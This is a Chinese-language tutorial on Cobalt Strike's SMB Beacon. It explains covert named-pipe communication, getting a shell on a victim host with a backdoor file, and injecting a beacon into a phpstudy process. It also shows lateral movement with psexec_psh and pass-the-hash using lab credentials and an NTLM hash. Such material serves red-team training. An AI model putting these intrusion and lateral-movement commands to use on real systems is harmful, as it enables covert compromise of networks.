SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效,即 SMB Beacon 通过管道( pipe)进行进程间的数据传递。管道通信的进程可以是本地主机上的两个进程,也可以和远程主机上的进程通过网络进行通信。Windows 将命名管道通信封装在 SMB 协议中,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
SMB Beacon的使用条件如下:
为方便演示操作,先上线一个主机shell,例如创建一个的 HTTP Beacon 监听器。
生成 HTTP 监听器的一个后门文件。
在受害主机中运行后门文件,CS中成功接收到受害主机shell。
主机上线后,创建一个SMB Beacon监听器, pipeame (管道名称)可以自定义修改,或者默认即可。
右键选中HTTP监听器上线的主机,进入Beacon控制台,输入spawn加SMB Beacon的监听器名称, 例如:spawn SMB
,运行成功后在external中可以看到IP后有个∞∞字符的派生SMB Beacon。
将SMB Beacon注入到某个进程中,以phpstudy进程为例。
在phpstudy中注入SMB Beacon后,即可看到process为phpstudy.exe的SMB Beacon。
首先,建立一个SMB Beacon的监听:SMB_Beacon
beacon> shell net use \\192.168.158.130 /u:administrator root
beacon> jump psexec_psh 192.168.158.130 SMB_Beacon
beacon> rev2self
beacon> pth WIN2003\Administrator 329153f560eb329c0e1deea55e88a1e9
beacon> jump psexec_psh 192.168.158.130 SMB_Beacon
拓展:cs利用smb上线出网与不出网主机:https://www.cnblogs.com/sunny11/p/14301425.html
在Beacon控制台中可以使用unlink命令断开连接,例如断开连接192.168.158.130,输入命令unlink 192.168.158.130
。如果想再次连上,输入命令link 192.168.158.130
。
如果断开一个进程 Beacon ,在父会话或子会话中使用 unlink [ip address] [session PID]
。这个[session PID] 参数是要取消连接的Beacon 的进程 ID。该值用于当有多个子 Beacon 时,指定一个特
定的 Beacon 来断开连接。当对一个SMB Beacon取消了连接,它不会离开并消失。相反,它进入一种等待其他 Beacon 连接的状态。可以使用 link 命令来从将来的另一个 Beacon 恢复对 SMB Beacon 的控制。